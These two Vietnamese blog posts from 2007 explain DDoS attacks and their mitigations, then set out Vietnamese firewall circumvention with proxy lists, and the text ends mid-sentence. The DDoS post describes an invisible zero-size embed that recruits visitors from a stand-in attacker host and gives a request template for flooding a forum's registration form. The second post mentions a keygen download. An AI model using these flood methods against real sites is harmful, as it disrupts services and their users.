DDOS - Distributed Denial Of Service. [Feb. 27th, 2007|10:19 pm]
DDOS - Distributed Denial Of Service.

• 1998 Chương trình Trinoo Distributed Denial of Service (DDoS) được viết bởi Phifli.

• Tháng 5 – 1999 Trang chủ của FBI đã ngừng họat động vì cuộc tấn công bằng (DDOS)

• Tháng 6 – 1999 Mạng Trinoo đã được cài đặt và kiểm tra trên hơn 2000 hệ thống.

DDOS – Distributed Denial Of Service ?

• Cuối tháng 8 đầu tháng 9 năm 1999, Tribal Flood Network đầu tiiên ra đời, Chương trình được Mixter Phát triển.

• Cuối tháng 9 năm 1999, Công cụ Stacheldraht đã bắt đầu xuất hiện trên những hệ thống của Châu âu và Hoa kỳ.

• Ngày 21 tháng 10 năm 1999 David Dittrich thuộc trường đại học Washington đã làm những phân tích về công cụ tấn công từ chối dịch vụ

• Ngày 21 tháng 12 năm 1999 Mixter phát hành Tribe Flood Network 2000 ( TFN2K ).

• 10 : 30 / 7 – 2 -2000 Yahoo! ( Một trung tâm nổi tiếng ) đã bị tấn công từ chối dịch vụ và ngưng trệ hoạt động trong vòng 3 giờ đồng hồ. Web site Mail Yahoo và GeoCities đã bị tấn công từ 50 địa chỉ IP khác nhau với nhửng yêu cầu chuyễn vận lên đến 1 gigabit /s.

DDOS - Distributed Denial Of Service ?

• 8 -2 nhiều Web site lớn như Buy.com, Amazon.com, eBay, Datek, MSN, và CNN.com bị tấn công từ chối dịch vụ.

• Lúc 7 giờ tối ngày 9-2/2000 Website Excite.com là cái đích của một vụ tấn công từ chối dịch vụ, dữ liệu được luân chuyễn tới tấp trong vòng 1 giờ cho đến khi kết thúc, và gói dữ liệu đó đã hư hỏng nặng.

• Qua đó ta có thể thấy rõ những vụ tấn công từ chối dịch vụ (Denial Of Services Attack ) và những cuộc tấn công về việc gửi nhửng gói dữ liệu tới máy chủ (Flood Data Of Services Attack) tới tấp là những mối lo sợ cho nhiều mạng máy tính lớn và nhỏ hiện nay,

• Khi một mạng máy tính bị Hacker tấn công nó sẽ chiếm một lượng lớn tài nguyên trên server như dung lượng ổ cứng, bộ nhớ, CPU, băng thông …. Lượng tài nguyên này tùy thuộc vào khả năng huy động tấn công của mỗi Hacker. Khi đó Server sẽ không thể đáp ứng hết những yêu cầu từ những client của những người sử dụng và từ đó server có thể sẽ nhanh chóng bị ngừng hoạt động, crash hoặc reboot.

• Tấn công từ chối dịch vụ có rất nhiều dạng như Ping of Death, Teardrop, Aland Attack, Winnuke, Smurf Attack, UDP/ICMP Flooding, TCP/SYN Flooding, Attack DNS.

Ping Of Death.

Một số máy tính sẽ bị ngưng họat động, Reboot hoặc bị crash khi bị nhận những gói dữ liệu ping có kích thước lớn.

• Ví dụ như : ping địachỉ -n 1000
trong đó : số 1000 là số lần gửi gói dữ liệu.

• TCP/SYN Flooding:

Bước 1: Khách hàng gửi một TCP SYN packet đến cổng dịch vụ của máy chủ

Khách hàng -> SYN Packet -> Máy chủ

Bước 2 : Máy chủ sẽ phản hồi lại khách hàng bằng 1 SYN/ACK Packet và chờ nhận một 1 ACK packet từ khách hàng

Máy chủ -> SYN/ACK Packet -> Khách hàng

Bước 3: Khách hàng phản hồi lại Máy chủ bằng một ACK Packet và việc kết nối hòan tất Khách hàng và máy chủ thực hiện công việc trao đổi dữ liệu với nhau.

Khách hàng -> ACK Packet -> Máy chủ

• Trong trường hợp Hacker thực hiện việc SYN Flooding bằng cách gửi tới tấp, hàng loạt TCP SYN packet đến cổng dịch vụ của máy chủ sẽ làm máy chủ bị quá tải và không còn khả năng đáp ứng được nữa.

• UDP/ICMP Flooding:
Hacker thực hiện bằng cách gửi 1 số lượng lớn các gói tin UDP/ICMP có kích thước lớn đến hệ thống mạng, khi hệ thống mạng chịu phải sự tấn công này sẽ bị qua tải và chiếm hết băng thông đường truyền đi ra bên ngòai của mạng này, vì thế nó gây ra nhửng ảnh hưởng rất lớn đến đường truyền cũng như tốc độ của mạng, gây nên những khó khăn cho khách hàng khi truy cập từ bên ngoài vào mạng này.

• Những điều kiện đủ để có những cuộc tấn công DoS Có hiệu quả:
Để có được những cuộc tấn công DOS có hiệu quả thông thường một Hacker phải lựa chọn cho mình những đường truyền có dung lượng lớn cũng như tốc độ máy được dùng làm công cụ tấn công. Nếu không hội tụ được những điều kiện trên thì cuộc tấn công sẽ không mang lại mấy khả quan.

• Nhưng với những tiện ích như Trinoo, TFN2K, Stacheldraht… người tấn công không phải chỉ dùng 1 nơi để tấn công mà sử dụng nhiều mạng lưới khác nhau để thực hiện việc tấn công đồng lọat. Các máy được dùng để tấn công thường là các máy có kết nối Internet bị người tấn công xâm nhập.

• Qua đó chúng tôi đã tham khảo và biết một số cách nhưng hầu hết không chống được một cách triệt để.

1. Khi bạn phát hiện máy chủ mình bị tấn công hãy nhanh chóng truy tìm địa chỉ IP đó và cấm không cho gửi dữ liệu đến máy chủ.

2. Dùng tính năng lọc dữ liệu của router/firewall để loại bỏ các packet không mong muốn, giảm lượng lưu thông trên mạng và tải của máy chủ.

3. Sử dụng các tính năng cho phép đặt rate limit trên router/firewall để hạn chế số lượng packet vào hệ thống.

4. Nếu bị tấn công do lỗi của phần mềm hay thiết bị thì nhanh chóng cập nhật các bản sửa lỗi cho hệ thống đó hoặc thay thế.

5. Dùng một số cơ chế, công cụ, phần mềm để chống lại TCP SYN Flooding.

6. Tắt các dịch vụ khác nếu có trên máy chủ để giảm tải và có thể đáp ứng tốt hơn. Nếu được có thể nâng cấp các thiết bị phần cứng để nâng cao khả năng đáp ứng của hệ thống hay sử dụng thêm các máy chủ cùng tính năng khác để phân chia tải.

7. Tạm thời chuyển máy chủ sang một địa chỉ khác.

Flooding Data Attack ?

• Hoàn toàn khác với DDos về khả năng tấn công cũng như sự huy động tấn công rất dễ dàng để làm tràn ngập dữ liệu (Flood data attack !) được phát triển ở rất nhiều dạng nó dựa vào những lỗi của hầu hết các mã nguồn mở của ASP, PHP, JSP, CGI …..

• Với DDOS như chúng ta đã biết khi một số Hacker muốn mở những cuộc tấn công đều phải hội tụ những điều kiện, là phải dùng những máy chủ có đường truyền cao và thường thì phải @hắc vào server đó mới có thể huy động làm công cụ tấn công được, ngược lại với Flood data attack việc huy động quá dễ, nó chia ra làm 2 dạng tấn công như sau:

• Dạng 1: Được chạy trên trên môi trường Windonw, Unix, Linux …

• Dạng 2: Được đính kèm trên các Website và nhận lệnh tấn công từ một địa chỉ nào đó trên Mạng toàn cầu.

• Dạng 1: Với kích thước từ 500 byte đến 1Kb các Hacker dễ dàng đính kèm vào một Website nào đó có nhiều người hiện đang có mặt truy cập trên Website đó. Với đọan mã trên ta có thể thấy Hacker đã đặt kích thước tập tin Flooddata.swf ở chế độ Chiều rộng (width) là bằng 0 và chiều cao (height) cũng bằng 0 như thế tập tin này sẽ không thể hiển thị được trên trên trang Web đó

Khi người sử dụng vào Website này lập tức sẽ kích họat chương trình Flood Data Attack ! của Hacker tại địa chỉ là http://noitancong.com/filedata.swf và Hacker cũng dễ dàng điều khiển chương trình bằng 1 file nguồn ở 1 Website nào đó của Hacker trên mạng mà Hacker đó đặt ra trong chương trình Flooding data Attack.

Hacker có thể kiểm soát được số người hiện đang kích hoạt chương trình Flood data của mình trên Website đó và khi nào Hacker cảm thấy số lượng người đang kích hoạt chương trình đã đủ để việc tấn công một Website nào đó trên mạng thành công thì công việc đó có thể được bắt đầu.

Ví dụ như hacker vào một địa chỉ như http://www.vbuleetin.com để thực hiện công việc tấn công trang này hacker cần phải tìm những nơi có sự trao đổi dữ liệu cho nhau như Register, Search, Login, Sendmail ….. Sau khi đã thu thập được những thành phần trên Hacker bắt đầu thực hiện lấy những đầu vào(input) và gán nhửng giá trị đầu vào trên lên nơi điều khiển của chương trình Flood data attack!.

Ví dụ phần trên sẽ được gán với biến như sau :

Url=http://www.vbuleetin.com/register.php&username=user + random(999999999)&password = flood&passwordconfim=password&email=random(1000000 00)+@vbulleetin.com

Trong đó Url là giá trị của Website bị tấn công, Username với giá trị là một user nào đó do hacker đặt ra và cộng với biến ngẫu nhiên ở sau mỗi user mà hacker đặt ra là khác nhau. Một khi Website này bị tấn công, toàn bộ họat động của Server chứa Website đó sẽ bị hậu quả rất ngiêm trọng tùy theo số lượng người kích họat vào chương trình Flood data attack! Của hacker đó, Lúc này những phần bị ảnh hưởng sẽ là MailServer, MySQL, PHP, Apache, FTP….

• Đối với MySQL : Khi bị Flood data attack! Những yêu cầu sẽ được gửi liên tục đến Server và được chuyển qua MySQL xử lý với số lượng lớn và nối tiếp nhau cho đến khi quá tải chương trình MySQL sẽ hòan toàn bị vô tác dụng song song với việc ảnh hưởng đến MySQL là việc ảnh hưởng đến MailServer.

Với giá trị là random(100000000)+@vbuleetin.com thì khi thực thi nó sẽ gửi từ ‘1@vbuleetin.com’ cho đến ‘100000000@vbuleetin.com’ tất nhiên nhửng email này sẽ không có thực đối với trang chủ của Website ‘http://www. vbuleetin.com.

• Đối với sẽ nhửng địa chỉ email này MailServer đưa vào danh sách "Msgs Failed" nhưng với giá trị là @vbulletin.com thì hầu hết một nhà cung cấp "domain" và "hosting" sẽ chuyển về một số email mặc định như là postmaster, admin, administrator, supervisor, hostmaster, webmaster.

Những Hacker có thể lợi dụng những Form mail trong việc trao đổi thông tin giữa khách hàng với chủ cung cấp dịch vụ để thực hiện những cuộc tấn công, những cuốc tấn công này thường rất nguy hiễm vì có thể trong 1 giây Hacker thực hiện từ 100 lần đến hàng nghìn lần với những yêu cầu SendEmail từ 1 user trên server đó đến MailServer.

• Dạng 2: Được chạy dưới dạng file.exe với dạng thức này thì khả năng tấn công vẫn giống như cách tấn công nằm trên website nhưng khả năng tấn công được nâng thêm nhiều dạng như Ping, Flood Ftp, Flood Smtp… tùy vào khả năng phát triển của Hacker.

Cũng giống như chương trình Flood data attack! Được gắn trên website dạng .exe này cũng được điều khiển từ 1 Website. Thường thì nơi điều khiển được đặt chung 1 nơi để tiện cho việc điều khiển.

Với những phương thức tấn công như vậy ta cũng có thể thấy được tầm nguy hiểm của nó nếu như được đặt trên một server với số lượng người truy cập đông như Google hoặc 1 Website nổi tiếng nào đó thì sức phá hoại của nó là rất khủng khiếp.

• Với 1 client/1s có thể gửi từ 3 – 8 yêu cầu có thực đến máy chủ thực thi và xử lý thông qua đó nó có thể ảnh hưởng đến Php, Apache, Phpmail, MySQL, FTP …., Tùy theo những mã nguồn của ASP, PHP, JSP, CGI, PL hoặc chung quy là những mã nguồn có liên quan đến công việc xuất và nhập dữ liệu.

Nếu hacker huy động hoặc @hắc được những server hoặc Website nào đó có số lượng người Online khoảng 2000 thì trong 1 giây Server đó sẽ phải thực thi khoảng 6000 yêu cầu từ các client gửi đến Server đó.

Ví dụ : Có User nằm trên server X nào đó user đó có cài đặt mã nguồn mở như Forum IPB (Invision Power Boards) khi hacker sử dụng mục đăng ký làm nơi tấn công Flood data thì trong vòng một giây như phần trên đã nêu sẽ có khoãng 6000 nickname được khởi tạo đi kèm theo đó là 6000 yêu cầu đã được mã nguồn mử thiết lập khi đăng ký và sẽ kèm theo việc gửi email đến các địa chỉ đã đăng ký.

• Như vậy đi kèm với 6000 nickname trên, MailServer sẽ phải gửi đi 6000 yêu cầu trong vòng 1/s việc này nếu như bị kéo dài từ 5 – 10 phút thì Server đó hầu như sẽ không còn họat động được.

Bandwith lúc này có thể tăng 5 – 10 MB/s cộng thêm data khi được chuyển đến MySQL lúc này có thể đạt tới 5 -7 MB/s nữa khi đó toàn bộ các phần mềm như Apache, MailServer, PHP, MySQL, FTP đều bị ngưng họat động. Lúc đó server có thể sẽ bị reboot.

Vì Hacker sử dụng phương tiện tấn công Online trên Website và dựa vào lượng khách truy cập thông tin ở nhiều Website nên phương pháp này hầu như rất khó chống, mỗi ngày Hacker có thể dùng hàng ngàn địa chỉ IP trên khắp thế giới để thực hiện việc tấn công như thế ta có thể thấy nó đơn giản so với DDos rất nhiều nhưng sự nguy hiểm có lẽ hơn hẳn DDos. Vì Flooding Data Attack tấn công theo dạng địa chỉ ‘http://victim.com/data.php&bien1&bien2&bien3’ theo cổng GET hoặc POST vì vậy, cho dù bất cứ lý do gì khi tấn công cũng phải đi qua hướng này.

Do lỗi được xuất hiện ở các mã nguốn ASP hay PHP nên cách tốt nhất là sửa và xem lại những mã nguồn mà người sử dụng muốn đưa lên mạng. Để tránh bị Flood data Attack! Thì cách phòng chống tạm thời vẫn là thêm một chuỗi ngẫu nhiên trên mỗi Form có sự xuất và nhập dữ liệu tuy nhiên những cách trên chưa phải là những cách hòan thiện để chống lại nhửng cuộc tấn công tràn ngập dữ liệu (Flooding Data Attack).

bạn có thể hướng dẫn sơ về cách sử dụng đối với phương pháp Flooding Data Attack được ko và mình nghĩ còn 1 cách nữa chống dos đó là hiện ra 1 messagebox hiện rõ user và password để login khi vào trang web của mình mặc dù cách này không hay lắm nhưng cũng hạn chế được ddos

P/S cái mà bạn nói là kỹ thuật anti-ddos được mọi người xài phổ biến hiện nay, dùng file .htaccess để config.

linkpost comment

Tường lửa là gì? [Feb. 26th, 2007|10:20 pm]
Tường lửa là gì?

Tường lửa (firewall) là hệ thống phần cứng / phần mềm làm nhiệm vụ ngăn chặn các truy nhập "không mong muốn" từ bên ngoài vào hoặc từ bên trong ra. Tường lửa thường được đặt tại cổng ra / vào giữa hai hệ thống mạng, ví dụ giữa mạng trong nước Việt Nam và mạng quốc tế. Tường lửa thực hiện việc lọc bỏ những truy cập không hợp lệ dựa theo các quy tắc hay chỉ tiêu định trước, ví dụ:

+ Lọc theo địa chỉ IP: Mọi cố gắng truy cập tới địa chỉ IP của các trang www.vidu1.net, www.vidu2.org... đều bị lọc bỏ và trả về thông báo "Page not found" hoặc "The page cannot be displayed".

+ Lọc theo ứng dụng: Mỗi ứng dụng có một cổng (port) riêng, có giá trị từ 0 tới 65535, cho việc truy cập, ví dụ dịch vụ web dùng cổng 80, dịch vụ email dùng cổng 125... Hiện nay ở Việt Nam chỉ có một số cổng ứng dụng chuẩn được mở. Mọi truy cập qua các cổng không tiêu chuẩn đều bị chặn.

Như vậy, để vượt tường lửa, chúng ta phải làm sao cho gói tin (packet) truy cập tới các trang web / dịch vụ "không được phép" trông giống như gói tin tới từ các trang web / dịch vụ "được phép".

Proxy là gì?

Theo định nghĩa đơn giản nhất, proxy là một máy tính trung gian, đứng phía ngoài tường lửa, giúp lấy tin từ các trang web "không được phép" theo yêu cầu và gửi tới người đọc phía sau tường lửa. Nếu địa chỉ IP và cổng mà proxy dùng để gửi thông tin không nằm trong danh sách bị ngăn cản (block) của tường lửa, người đọc sẽ nhận được thông tin, hay nói cách khác là vượt tường lửa thành công.

Các phương pháp vượt tường lửa:

1/ Sử dụng proxy server: Trong các trình duyệt đều có chức năng thiết lập proxy. Ví dụ với Internet Explore:

Bước 1: Chọn Tool > Internet Options > Connections > LAN settings

Bước 2: Gõ vào ô 'Address' địa chỉ của proxy server muốn dùng và ở ô 'Port' gõ giá trị cổng của proxy server.

Bước 3: Nhấn OK và thử vào các trang web "bị ngăn cản". Nếu proxy server của bạn hoạt động và không bị chặn, bạn sẽ thấy nội dung của các trang web kia.

Có rất nhiều proxy server miễn phí trên mạng. Các bạn có thể tìm danh sách này bằng Google với từ khóa "free proxy". Các proxy server được viết dưới dạng:

customer-148-223-48-114.uninet.net.mx:80

hoặc

163.24.133.117:80

Trong đó phần trước dấu ":" là địa chỉ, và phần sau đó là cổng. Nên chọn các proxy có cổng "tiêu chuẩn" (ví dụ cổng 80) vì các cổng "không tiêu chuẩn" (ví dụ 3128 hay 8080) có thể bị chặn bởi tường lửa ở Việt Nam.

2/ Sử dụng web proxy: Có một số trang web cho phép bạn đánh vào địa chỉ web mà mình muốn xem, và trang web đó sẽ đem nội dung về cho bạn. Thuận lợi khi dùng trang web kiểu này là bạn không phải mất công đặt proxy setting như ở cách thứ nhất (ví dụ khi ra hàng internet người ta không cho phép thay đổi setting).

Có thể tìm ra các trang web kiểu này trên Google với từ khóa "free surf anonymous". Một trang tiêu biểu dạng này là:

http://www.the-cloak.com

Tuy nhiên rất có thể trang này cũng đã bị đặt vào danh mục cấm của Việt Nam :sad:

3/ Sử dụng các trang web cá nhân: Nếu bạn có bạn bè hay người thân ở nước ngoài, những người này có thể thiết lập các trang web cá nhân có gắn nội dung các trang "bị ngăn cản" theo kiểu Inline frame. Như vậy, bạn có thể đọc trang web cấm bằng cách tới xem các trang web cá nhân của bạn bè hay người thân của mình ở nước ngoài.

Ví dụ, các bạn trong nước có thể thử đọc bài từ Mạng Ý kiến ở đây:

http://www.vidu.dk/files/misc/ykien.html

Mã HTML để thực hiện điều này ở đây:

http://www.vidu.dk/files/misc/ykien.html.txt

Hãy xóa đuôi txt và upload lên trang web của mình ở nước ngoài, thay địa chỉ "http://vidu.net" bằng địa chỉ trang web mà bạn muốn hiển thị.

Phương pháp này có nhược điểm là trình duyệt của người xem phải hỗ trợ Inline Frame. Tuy nhiên Internet Explorer và Firefox đều hỗ trợ tính năng này.

4/ Vượt tường lửa bằng công cụ của Google: Google cung cấp phương tiện chuyển ngữ trang Web (Translation service), rất tiện cho việc vượt tường lửa. Chỉ cần thay địa chỉ trang cần tới vào địa chỉ "x-cafe.dk" ở dòng lệnh dưới đây, các bạn có thể xem trang web đó dù nó đã bị firewall:

Code:
http://www.google.com/translate?langpair=en|en&u=www.vidu.dk



Nên dùng proxy lấy ở đây :

http://www.proxy4free.com/index.html

Hoặc vào trang này :http://anonymouse.org/anonwww.html

Lấy phần mềm này: http://anon.inf.tu-dresden.de/index_en.html khi dùng thì mở trương trình đó lên trước sau đó trong IE chẳng hạn : Chọn Tool > Internet Options > Connections > LAN settings . Address gõ 127.0.0.1 port là 4001 . Cái này free mà chạy rất nhanh , một sản phẩm của Đức dành cho các bạn VN , nếu ai không dành cứ hỏi tui hoặc vào trang web (ở trên ) đó nó nói rất cụ thể . cái này dịch vụ intrenet mà dùng thì quá ngon .



Hide.IP.Platinum.v2.7

Lấy phần mềm Hide .IP.platinum 1.73 này dùng :
download , có cả keygen kèm theo
http://www.hide-ip-soft.com/

Phần 2 - Để vượt bức tường lửa.

Có một số cách để vượt khỏi bức tường lửa của Việt Nam. Đa số các cách nằm trong bốn loại sau đây : 1) giấu tung tích của địa chỉ, 2) dùng những trang đã được lưu trữ sẵn, 3) dùng máy điện toán của người khác làm điểm truy cập thay vì điểm proxy của Hà Nội, và loại chót, 4) dùng dịch vụ của công ty chuyển thư WebMailer.

Tóm tắt những cách vượt bức tường lửa:

Giấu tung tích của địa chỉ muốn tới

Đây là cách nhanh nhất để truy cập những trang bị cấm. Có nhiều trang trên mạng internet giúp chúng ta giấu địa chỉ truy cập để qua mắt được Hà Nội. Giả thử bạn muốn truy cập trang nào đó, bạn sẽ chẳng thấy gì trên màn hình bởi trang này bị bức tường lửa chặn. Nhưng khi muốn giấu tung tích của nơi bạn muốn tới, trang www.anonymizer.com sẽ giúp bạn. Từ ngay trong trang www.anonymizer.com, bạn có thể đánh vào địa chỉ trang www của minh muốn tới để giấu tung tích. Khi địa chỉ www đó đã bị dấu, điểm proxy ở Hà Nội sẽ không chặn được.

Nhưng, bạn có thấy một điểm nhỏ cần chú ý không? Người ta cũng có thể chặn không cho chúng ta truy cập www.anonymizer.com. Họ có thể cho www.anonymizer.com vào danh sách đen, vì vậy, không thể truy cập trang internet này ở Việt Nam nữa. Sau đây là danh sách của một số trang internet cũng có chức năng giống như www.anonymizer.com. Một số đã bị vô sổ đen của họ:
http://www.anonymizer.com , http://www.phantomip.com, https://proxy1.autistici.org/, http://www.the-cloak.com/login.html, http://www.guardster.com/

Ngoài những trang này ra, bạn có thể vào trang www.google.com và đánh vào chữ web anonymizer hoặc web mailers để tìm thêm những trang tương tự. Mong bạn có thể tìm thấy những trang chưa hân hạnh được liệt vào sổ đen bức tường lửa của nhà nước.

Dùng những trang đã được lưu trữ sẵn


Những trang được lưu trữ cũng giống như một cuốn sách lịch sử. Dịch vụ lưu trữ những trang internet được miễn phí tại các địa chỉ sau đây: www.archive.orgwww.google.com. Cũng giống như phần trên, khi bạn truy cập www.archive.org, bức tường lửa sẽ không biết bạn đang truy cập những gì. www.archive.org rất dễ xài, bạn chỉ việc vào đó và đánh tên địa chỉ mình muốn tới, bạn sẽ thấy trang www đó được lưu trữ. Dịch vụ lưu trữ này thường không cho ta thấy trang internet trực tiếp nhưng cho ta thấy trang này trong tình trạng được lưu trữ, có thể đã cũ một vài tuần hoặc vài tháng. Còn www.google.com thì cũng một phần tương tự. Google cũng lưu trữ toàn thể các trang của internet. Thí dụ để coi trang www nào đó, bạn truy cập trang www.google.com và đánh địa chỉ www mình muốn, Google sẽ hiện ra những gì kiếm được, bạn chỉ bấm vô "Show Google's cache of www của mình" thì sẽ thấy được trang lưu trữ cách đây vài tháng.

Dùng máy điện toán khác để tránh điểm proxy của Hà Nội

Bây giờ bạn hãy tưởng tượng nếu chúng ta dùng một loại kỹ thuật mới tránh né proxy của Hà Nội. Điều gì sẽ xảy ra nếu chúng ta nối cả triệu máy điện toán cá nhân trên thế giới lại? Câu trả lời như sau: Nối hàng triệu máy điện toán cá nhân của tất cả thế giới tự do là mục đích của hai chương trình Peekabooty và Six/Four . Khi bạn ra lệnh truy cập www của mình, thì điểm proxy của Hà Nội sẽ phải gửi lệnh tới một trong hàng triệu máy điện toán cá nhân. Một máy cá nhân này sẽ lập tức giúp và gửi lệnh cho bạn xem nội dung của www của mình đó. Proxy của Hà Nội sẽ tưởng rằng địa chỉ của máy cá nhân này là địa chỉ vô hại. Đây là điều rất khó cấm đoán. Thứ nhất, đây là tập hợp của hàng triệu máy điện toán và địa chỉ của mỗi máy (IP address) đổi từng giây từng phút, không thể kiểm soát nổi. Thứ hai, cả triệu máy điện toán được tập hợp của toàn thế giới, VN sẽ phải bó tay vì không thể biết hết ai là ai. Vấn đề này y hệt như những gì đã sảy ra cho kỹ nghệ âm nhạc và phim của Hoa Kỳ, khi các chương trình nổi tiếng như Napster, Kazaar, AudioGalaxy, Morpheus, và iMesh đã dùng hàng triệu máy trên thế giới để trao đổi dữ liệu nhạc và phim. Hai chương trình Peekabooty ( www.peek-a-booty.org ) và Six/Four ( www.hacktivismo.com ) đã được ra đời trong năm 2002. Bạn hãy theo dõi và thu thập.

Trang internet nằm trong Thư Điện Tử - Webmailer

Kỹ thuật thư điện tử này rất khác với 3 cách trên. Thư điện tử sẽ giúp bạn coi trang internet bị cấm trong thư email của bạn. Dùng một địa chỉ điện thư miễn phí như Yahoo hoặc Hotmail, bạn ghi địa chỉ muốn coi vô phần Subject: và gửi tới một địa chỉ dịch vụ internet miễn phí www.web2mail.com. Sau đó, dịch vụ này sẽ gửi trang internet mà bạn muốn coi tới hộp thư điện tử của bạn. Người khác không thể kiểm soát nổi cách này vì không thể nào chặn được hộp thư miễn phí của Yahoo hoặc Hotmail. Với dịch vụ này, bảo đảm bạn sẽ được coi các trang bị bức tường lửa cấm, nhưng bạn phải kiên nhẫn đợi cho dịch vụ gửi lại trang internet, có thể đợi 10 phút hoặc một ngày sau.

Những mánh khoé sử dụng Internet!!!

Vì vậy, các bạn nên dùng địa chỉ như Hotmail hoặc Yahoo. Vì không ai có thể chặn những dịch vụ hộp thư điện tử miễn phí này (thư của bạn có thể bị người khác mở ra đọc). Khi tôi sử dụng Yahoo hoặc Hotmail, người khác không đọc được hộp thư của tôi? Sai, tất cả giao thông của xa lộ internet vào Việt Nam phải qua cổng Hà Nội. Yahoo và Hotmail không mã hóa làn thông tin email. Vì vậy có người có thể mở thấy được thư của bạn. Để an toàn, bạn có thể làm một hộp thư dùng riêng nhưng không có tin tức thật về bạn.

Như vậy có cách nào để không ai đọc được thư điện tử của tôi không?

Nếu bạn không muốn ai đọc email của bạn, bạn hãy sử dụng kỹ thuật mã hóa gọi là encryption. PGP Encryption ( www.pgpi.org ) sẽ giúp bạn sử dụng kỹ thuật này nếu xài đúng cách. Nhưng trang internet này cũng hơi khó sử dụng. Cho nên cách thứ 2 là tới trang www.hushmail.com để đăng ký sử dụng. Cách này an toàn khi cả hai, người gửi lẫn người nhận, đều dùng www.hushmail.com.

Làm sao đây? Tôi muốn tẩy xóa dấu vết của tôi sau khi xài internet tại quán café? Đúng vậy, bạn có thể tẩy xóa dấu vết của bạn khi đã xài internet khi bạn dùng Internet Explorer. Để cho người quản lý khỏi được quyền quản lí quyền tự do của bạn, hãy bấm vô chữ Tools / Internet Options. Bấm vô nút "Delete all offline content" và sau đó, "Delete Files", rồi "OK". Nếu thấy nút "Delete Cookies" hãy bấm vô nút đó luôn. Sau đó, bấm vô "Settings" rồi bấm vô "View Files". Nếu mà còn một số file trong đây, bạn bấm Ctrl-A để chọn tất cả rồi bấm nút Delete trên bàn phím. Như vậy bạn đã xóa đi rất nhiều vết chân lang thang trên internet. Cho chắc ăn, bạn cũng có thể bấm nút "Clear History" và bấm "OK". Bây giờ, bấm vô nút "Content" và sau đó vô nút "AutoComplete". Sau đó bấm vô nút "Clear Forms" và "Clear Passwords" để xóa tất cả mọi ô mật mã. Chúc may mắn.

Còn tự gửi địa chỉ của những trang internet bị cấm đến với hộp thư Yahoo hoặc Hotmail của chính tôi. Làm như vậy thì lệnh truy cập của tôi qua Yahoo hoặc Hotmail chứ không phải proxy Hà Nội phải không? Sai. Nhưng đây là ý rất hay. Khi tác giả thử phương pháp này tại Việt Nam, phương pháp đã không hiệu nghiệm. Lý do là sao? Bởi vì proxy Hà Nội cũng có thể đánh hơi được nội dung của trang internet và bức tường lửa sẽ hoạt động trở lại.

Khi dùng những chương trình chat như AOL Instant Messeger (AIM) hoặc mIRC, nhà nước không kiểm soát nổi? Sai. Nhà nước không có chặn khi bạn chat, nhưng có thể thấy những gì bạn viết.

Nhiều quán internet café dựng nên một trang chính giúp bạn truy cập những trang như Hotmail và Yahoo cho nhanh chóng. Nguy hiểm không? Vấn đề là, những trang chính có thể giữ lại tên và mật mã của bạn, nên họ có thể vô lại hộp thư điện tử của bạn. Nên coi chừng.

Các bác vô trang Findnot.com mà mua phần mềm đổi IP về, nghe nói thằng này vượt qua 2CO đó. Kô khuyến khích chơi đồ chùa nhưng để giấu IP thì trang này được lắm. Link của phần mềm http://findnot.com/FindNot.pbk các bác phải có tài khoản thì mới sử dụng được.

============================

Một số trang web có danh sách proxy:

- http://nntime.com/proxy/info/

- http://www.samair.ru/proxy/

- http://www.publicproxyservers.com/index.html
Code:
http://www.freeproxy.ru/en/free_proxy/faq/proxy_anonymity.htm
Và đây là 1 số giải pháp của Vidu giúp bạn đọc trong nước vượt tường lửa: sử dụng kỹ thuật RSS (Really Simple Syndication), một kỹ thuật trao đổi thông tin nhanh trên Internet, với địa chỉ có nhúng sẳn địa chỉ của những proxy mới. Sau đó nối RSS vào Google, Yahoo, hay bất cứ một trang web có dịch vụ đọc tin RSS nào. Trách nhiệm tìm kiếm proxy sẽ thuộc về Vidu. Bạn đọc vào Google, Yahoo để đọc trang web Vidu.

1. Với Google

Gõ, hoặc cát dán, vào duyệt trình IE địa chỉ sau:

Code:
http://www.google.com/reader/preview/*/feed/http://Vidu.com/rss


Trên duyệt trình IE, bạn đọc sẽ thấy hiện lên một mục lục của những bài viết mới nhất trên DCVOnline. Khi bấm lên những tựa đề trong mục lục này, bạn đọc sẽ tự động được dẫn đến trang web qua một proxy đã nhúng sẵn trong các links.



2. Với Yahoo

Tương tự, gõ, hoặc cắt dán, vào duyệt trình IE địa chỉ:

Code:
http://add.my.yahoo.com/rss?url=http://Vidu.com/rss




3. Ngoài ra, bạn đọc có thể dùng địa chỉ RSS của Vidu, http://vidu.com/rss, với các trang web có dịch vụ đọc tin RSS thông dụng như MSN (www.msn.com), Bloglines (www.bloglines.com), v.v…

Các proxy có thể bị tường lửa ngăn chặn và phải thay đổi nhưng các địa chỉ đến Vidu qua Google hoặc Yahoo ở trên sẽ không thay đổi. Điều bất tiện còn lại là bạn đọc phải “thuộc lòng” các địa chỉ này. Cách tiện lợi nhất để ghi nhớ các địa chỉ này là bằng cách bấm lên “Favorites”, “Add to Favorites” trên IE để đưa các địa chỉ này vào danh sách những website ưa thích của mình.

nay em xin trình bày một phương pháp vượt tường lửa nhanh, rẻ và an toàn mà em vẫn thường sử dụng. Nhanh vì không phải cấu hình lằng nhằng, rẻ vì miễn phí, an toàn vì có mã hoá: đó là proxy https.
đây là một số Https ổn định nhất, nếu trong khi dùng mà bị gián đoạn thì chuyển sang cái tiếp theo, nhưng nói chung trường hợp này hãn hữu:

https://tong.ziyoulonglive.com/dmirror/
https://www.bejing163.com/dmirror/
https://w8.coopsdomain.com/dmirror/

Còn đây là một số proxy vét đĩa:

https://www1.chao168.com/dmirror/
https://w8.db-systems.nl/dmirror/
https://w8.ccnwebsite.com/dmirror/
https://u1.horizonnewspaper.com/dmirror/
https://u1.craigsmusichut.com/dmirror/
https://www1.way2005.org/dmirror/
https://www1.yun2005.net/dmirror/
https://w8.clasa.net/dmirror/
https://w8.coteyr.net/dmirror/
https://u1.seeneed.com/dmirror/
https://w8.clell.com/dmirror/
https://w8.chickenkiller.com/dmirror/

Bi giờ em thí dụ là trang www.vidu.net bị firewall chẳng hạn, các bác lưu ý: địa chỉ đầy đủ của nó là http://www.vidu.net nhá

Muốn xem trang đó thì chỉ cần:
-Chọn lấy một proxy, vd https://tong.ziyoulonglive.com/dmirror/
-Thay http:// thành http/ để http://www.vidu.net biến thành http/www.vidu.net
-Dán vào proxy, trở thành
Code:
https://tong.ziyoulonglive.com/dmirror/http/www.vidu.net

-Chép lên thanh address, gõ Enter, OK 2 lần.
-Xong.

Nếu các bác muốn download một file nào đó từ trang web ykien.net chẳng hạn như file
Code:
https://tong.ziyoulonglive.com/dmirror/http/www.vidu.net/abc.zip
chẳ ng hạn, thì phải:

